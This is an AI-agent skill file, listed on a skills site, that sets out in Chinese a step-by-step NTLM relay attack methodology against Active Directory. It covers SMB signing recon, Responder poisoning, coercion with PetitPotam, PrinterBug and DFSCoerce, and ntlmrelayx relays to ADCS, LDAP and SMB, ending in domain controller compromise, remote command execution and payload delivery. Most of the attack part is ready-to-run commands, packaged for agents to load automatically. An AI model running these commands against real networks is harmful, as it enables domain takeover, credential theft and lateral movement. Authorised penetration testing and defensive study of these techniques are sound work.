ntlm-relay-attack

$npx mdskill add wgpsec/AboutSecurity/ntlm-relay-attack

Execute NTLM relay attacks to bypass authentication controls.

  • Enables lateral movement without password cracking.
  • Integrates with Responder, ntlmrelayx, and SMB services.
  • Analyzes network conditions to identify relay targets.
  • Outputs attack vectors and execution steps to the agent.

SKILL.md

.github/skills/ntlm-relay-attackView on GitHub ↗
---
name: ntlm-relay-attack
description: "NTLM 中继攻击方法论。当目标网络存在 NTLM 认证、可以触发 SMB/HTTP 认证请求、或获取到 NetNTLM Hash 时使用。覆盖 Responder 毒化、ntlmrelayx 中继、打印机 Bug 强制认证、RBCD 中继、Shadow Credentials、ADCS 中继。任何涉及 NTLM、Relay、Responder、中继攻击的场景都应使用此技能"
metadata:
  tags: "ntlm,relay,responder,中继,ntlmrelayx,coerce,petitpotam,printerbug,shadow credentials,rbcd,adcs"
  category: "lateral"
---

# NTLM 中继攻击方法论

NTLM Relay 是域渗透最强大的横向移动技术之一——不需要破解密码,直接将认证请求转发到其他服务器获取访问权限。

## ⛔ 深入参考(必读)

- 中继攻击详细配置和各种中继目标 → [references/relay-techniques.md](references/relay-techniques.md)
- 强制认证方法(PetitPotam/PrinterBug/DFSCoerce/文件投毒等) → [references/coercion-methods.md](references/coercion-methods.md)
- Responder 配置与投毒机制(LLMNR/WPAD/mitm6) → [references/responder-config.md](references/responder-config.md)
- SOCKS 代理横向移动(ntlmrelayx SOCKS + proxychains) → [references/socks-pivoting.md](references/socks-pivoting.md)

---

## 核心概念

NTLM Relay 三要素:
1. **触发器**(Trigger):让目标机器/用户向攻击者发起 NTLM 认证
2. **中继器**(Relay):将收到的认证请求转发到目标服务
3. **目标**(Target):接受中继认证的服务器

**前提条件**:目标服务没有启用 SMB 签名(SMB Signing)或 EPA(Extended Protection for Authentication)。

## Phase 1: 环境侦察

### 1.1 检查 SMB 签名
```bash
# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机

# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继
```

### 1.2 检查 ADCS Web Enrollment
```bash
# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板

# 或直接访问
curl -sk https://CA_SERVER/certsrv/
```

## Phase 2: 攻击决策树

```
有什么条件?
├─ 在内网且有网络接口 → Responder 毒化(被动收集 Hash / 主动中继)
├─ 有域凭据 → 强制认证(PetitPotam/PrinterBug)→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│   ├─ 中继到 LDAP → RBCD / Shadow Credentials
│   └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)
```

## Phase 3: Responder 毒化

```bash
# 启动 Responder(关闭 SMB/HTTP 以便 ntlmrelayx 接管)
responder -I eth0 -dwPv

# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解
```

## Phase 4: 强制认证(Coercion)

```bash
# PetitPotam(最常用,利用 EfsRpcOpenFileRaw)
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

# PrinterBug(MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP

# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
```

## Phase 5: 中继到不同目标

### 中继到 ADCS(获取域控证书 → 域管)
```bash
# 最强路径:PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync
```

### 中继到 LDAP(RBCD / Shadow Credentials)
```bash
# Shadow Credentials(推荐,不需要创建计算机账户)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$

# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$
```

### 中继到 SMB
```bash
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe
```

→ 完整中继技术细节 → [references/relay-techniques.md](references/relay-techniques.md)

## 工具速查
| 工具 | 用途 |
|------|------|
| Responder | LLMNR/NBT-NS/mDNS 毒化 |
| ntlmrelayx.py | NTLM 中继核心 |
| PetitPotam | EFS 强制认证 |
| printerbug.py | 打印机强制认证 |
| certipy | ADCS 证书攻击 |
| hashcat -m 5600 | NetNTLMv2 破解 |

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|